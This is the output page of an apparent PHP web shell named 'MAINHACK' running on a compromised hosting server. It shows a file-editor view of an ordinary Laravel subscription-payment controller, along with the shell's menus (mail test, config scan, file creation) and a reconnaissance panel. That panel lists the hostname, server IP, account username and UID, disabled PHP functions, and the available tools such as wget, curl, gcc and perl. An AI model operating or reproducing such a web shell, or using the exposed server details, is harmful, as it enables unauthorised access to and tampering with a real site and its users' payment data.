[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SubscribesController.php
<?php namespace App\Http\Controllers\Panel; use App\Http\Controllers\Controller; use App\Http\Controllers\Web\traits\InstallmentsTrait; use App\Mixins\Installment\InstallmentPlans; use App\Models\Order; use App\Models\OrderItem; use App\Models\PaymentChannel; use App\Models\Sale; use App\Models\Setting; use App\Models\Subscribe; use App\User; use Illuminate\Http\Request; class SubscribesController extends Controller { use InstallmentsTrait; public function index() { $this->authorize("panel_financial_subscribes"); $user = auth()->user(); if (!$user){ $user = apiAuth(); } $subscribes = Subscribe::all(); $installmentPlans = new InstallmentPlans($user); foreach ($subscribes as $subscribe) { if (getInstallmentsSettings('status') and $user->enable_installments and $subscribe->price > 0) { $installments = $installmentPlans->getPlans('subscription_packages', $subscribe->id); $subscribe->has_installment = (!empty($installments) and count($installments)); } } $data = [ 'pageTitle' => trans('financial.subscribes'), 'subscribes' => $subscribes, 'activeSubscribe' => Subscribe::getActiveSubscribe($user->id), 'dayOfUse' => Subscribe::getDayOfUse($user->id), ]; return view(getTemplate() . '.panel.financial.subscribes', $data); } public function pay(Request $request) { $paymentChannels = PaymentChannel::where('status', 'active')->get(); $subscribe = Subscribe::where('id', $request->input('id'))->first(); if (empty($subscribe)) { $toastData = [ 'msg' => trans('site.subscribe_not_valid'), 'status' => 'error' ]; return back()->with(['toast' => $toastData]); } $user = auth()->user(); $activeSubscribe = Subscribe::getActiveSubscribe($user->id); if ($activeSubscribe) { $toastData = [ 'title' => trans('public.request_failed'), 'msg' => trans('site.you_have_active_subscribe'), 'status' => 'error' ]; return back()->with(['toast' => $toastData]); } $financialSettings = getFinancialSettings(); $tax = $financialSettings['tax'] ?? 0; $amount = $subscribe->getPrice(); $amount = $amount > 0 ? $amount : 0; $taxPrice = $tax ? $amount * $tax / 100 : 0; $order = Order::create([ "user_id" => $user->id, "status" => Order::$pending, 'tax' => $taxPrice, 'commission' => 0, "amount" => $amount, "total_amount" => $amount + $taxPrice, "created_at" => time(), ]); $orderItem = OrderItem::updateOrCreate([ 'user_id' => $user->id, 'order_id' => $order->id, 'subscribe_id' => $subscribe->id, ], [ 'amount' => $order->amount, 'total_amount' => $amount + $taxPrice, 'tax' => $tax, 'tax_price' => $taxPrice, 'commission' => 0, 'commission_price' => 0, 'created_at' => time(), ]); if ($amount > 0) { $razorpay = false; foreach ($paymentChannels as $paymentChannel) { if ($paymentChannel->class_name == 'Razorpay') { $razorpay = true; } } $data = [ 'pageTitle' => trans('public.checkout_page_title'), 'paymentChannels' => $paymentChannels, 'total' => $order->total_amount, 'order' => $order, 'count' => 1, 'userCharge' => $user->getAccountingCharge(), 'razorpay' => $razorpay ]; return view(getTemplate() . '.cart.payment', $data); } // Handle Free Sale::createSales($orderItem, Sale::$credit); $toastData = [ 'title' => 'public.request_success', 'msg' => trans('update.success_pay_msg_for_free_subscribe'), 'status' => 'success' ]; return back()->with(['toast' => $toastData]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285